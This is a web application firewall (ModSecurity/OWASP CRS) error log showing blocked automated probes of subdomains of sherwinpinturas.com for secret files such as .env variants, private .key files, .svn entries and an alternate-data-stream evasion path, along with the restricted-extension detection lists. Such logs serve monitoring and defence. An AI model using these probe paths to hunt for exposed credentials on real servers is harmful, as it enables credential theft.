[Sun Oct 25 13:42:08.878542 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4_cMsxP9Gbm0IYLGL9BQAAACI"]
[Sun Oct 25 13:42:08.878747 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4_cMsxP9Gbm0IYLGL9BQAAACI"]
[Sun Oct 25 13:42:08.882372 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at4_cORnh_MPFutbQ4Jk8AAAAAE"]
[Sun Oct 25 13:42:08.882536 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at4_cORnh_MPFutbQ4Jk8AAAAAE"]
[Sun Oct 25 13:42:08.882794 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at4_cORnh_MPFutbQ4Jk8AAAAAE"]
[Sun Oct 25 13:42:08.917488 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "diag2.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at4_cIIGIq5euXyTbvT09QAAACQ"]
[Sun Oct 25 13:42:08.917856 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at4_cIIGIq5euXyTbvT09QAAACQ"]
[Sun Oct 25 13:42:08.918147 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at4_cIIGIq5euXyTbvT09QAAACQ"]
[Sun Oct 25 13:42:08.919046 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "diag2.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at4_cCjnAS4eJh-ada2MyQAAAA0"]
[Sun Oct 25 13:42:08.919327 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at4_cCjnAS4eJh-ada2MyQAAAA0"]
[Sun Oct 25 13:42:08.919546 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at4_cCjnAS4eJh-ada2MyQAAAA0"]
[Sun Oct 25 13:42:08.920507 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50108] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at4_cHdfzIDEwjyAl3puIAAAACc"]
[Sun Oct 25 13:42:08.920653 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50108] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at4_cHdfzIDEwjyAl3puIAAAACc"]
[Sun Oct 25 13:42:08.920867 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50108] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at4_cHdfzIDEwjyAl3puIAAAACc"]
[Sun Oct 25 13:42:08.921786 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "diag2.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at4_cFMGGelIHqGysXAauwAAAB8"]
[Sun Oct 25 13:42:08.922029 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at4_cFMGGelIHqGysXAauwAAAB8"]
[Sun Oct 25 13:42:08.922237 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at4_cFMGGelIHqGysXAauwAAAB8"]
[Sun Oct 25 13:42:08.964759 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "diag2.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at4_cORnh_MPFutbQ4Jk8QAAAAE"]
[Sun Oct 25 13:42:08.965124 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at4_cORnh_MPFutbQ4Jk8QAAAAE"]
[Sun Oct 25 13:42:08.965430 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at4_cORnh_MPFutbQ4Jk8QAAAAE"]
[Sun Oct 25 13:42:08.968340 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "diag2.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at4_cPwFw76qlSfceadvMgAAAAA"]
[Sun Oct 25 13:42:08.968640 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at4_cPwFw76qlSfceadvMgAAAAA"]
[Sun Oct 25 13:42:08.968877 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at4_cPwFw76qlSfceadvMgAAAAA"]
[Sun Oct 25 13:42:08.969968 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:50080] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at4_cFY5e6yJWIYGXiqDpgAAAAk"]
[Sun Oct 25 13:42:08.970131 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:50080] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at4_cFY5e6yJWIYGXiqDpgAAAAk"]
[Sun Oct 25 13:42:08.970344 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:50080] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at4_cFY5e6yJWIYGXiqDpgAAAAk"]
[Sun Oct 25 13:42:08.971929 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.www"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at4_cMsxP9Gbm0IYLGL9BgAAACI"]
[Sun Oct 25 13:42:08.972070 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at4_cMsxP9Gbm0IYLGL9BgAAACI"]
[Sun Oct 25 13:42:08.972282 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at4_cMsxP9Gbm0IYLGL9BgAAACI"]
[Sun Oct 25 13:42:14.343298 2026] [security2:error] [pid 2873141:tid 2873141] [client 34.85.93.218:50764] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "bases1.sherwinpinturas.com"] [uri "/"] [unique_id "at4_dhbnZ3aYfds3qrVj3QAAABc"]
[Sun Oct 25 13:42:14.343950 2026] [security2:error] [pid 2873141:tid 2873141] [client 34.85.93.218:50764] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/"] [unique_id "at4_dhbnZ3aYfds3qrVj3QAAABc"]
[Sun Oct 25 13:42:14.344427 2026] [security2:error] [pid 2873141:tid 2873141] [client 34.85.93.218:50764] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/"] [unique_id "at4_dhbnZ3aYfds3qrVj3QAAABc"]
[Sun Oct 25 13:42:15.026356 2026] [ssl:error] [pid 2873153:tid 2873153] (70014)End of file found: [client 50.19.79.213:42544] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:42:15.113915 2026] [security2:error] [pid 2873141:tid 2873141] [client 34.85.93.218:50764] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "bases1.sherwinpinturas.com"] [uri "/"] [unique_id "at4_dxbnZ3aYfds3qrVj3gAAABc"]
[Sun Oct 25 13:42:15.114395 2026] [security2:error] [pid 2873141:tid 2873141] [client 34.85.93.218:50764] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/"] [unique_id "at4_dxbnZ3aYfds3qrVj3gAAABc"]
[Sun Oct 25 13:42:15.114796 2026] [security2:error] [pid 2873141:tid 2873141] [client 34.85.93.218:50764] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/"] [unique_id "at4_dxbnZ3aYfds3qrVj3gAAABc"]
[Sun Oct 25 13:42:15.174611 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at4_d90xbXd9S994rNKODgAAABo"]
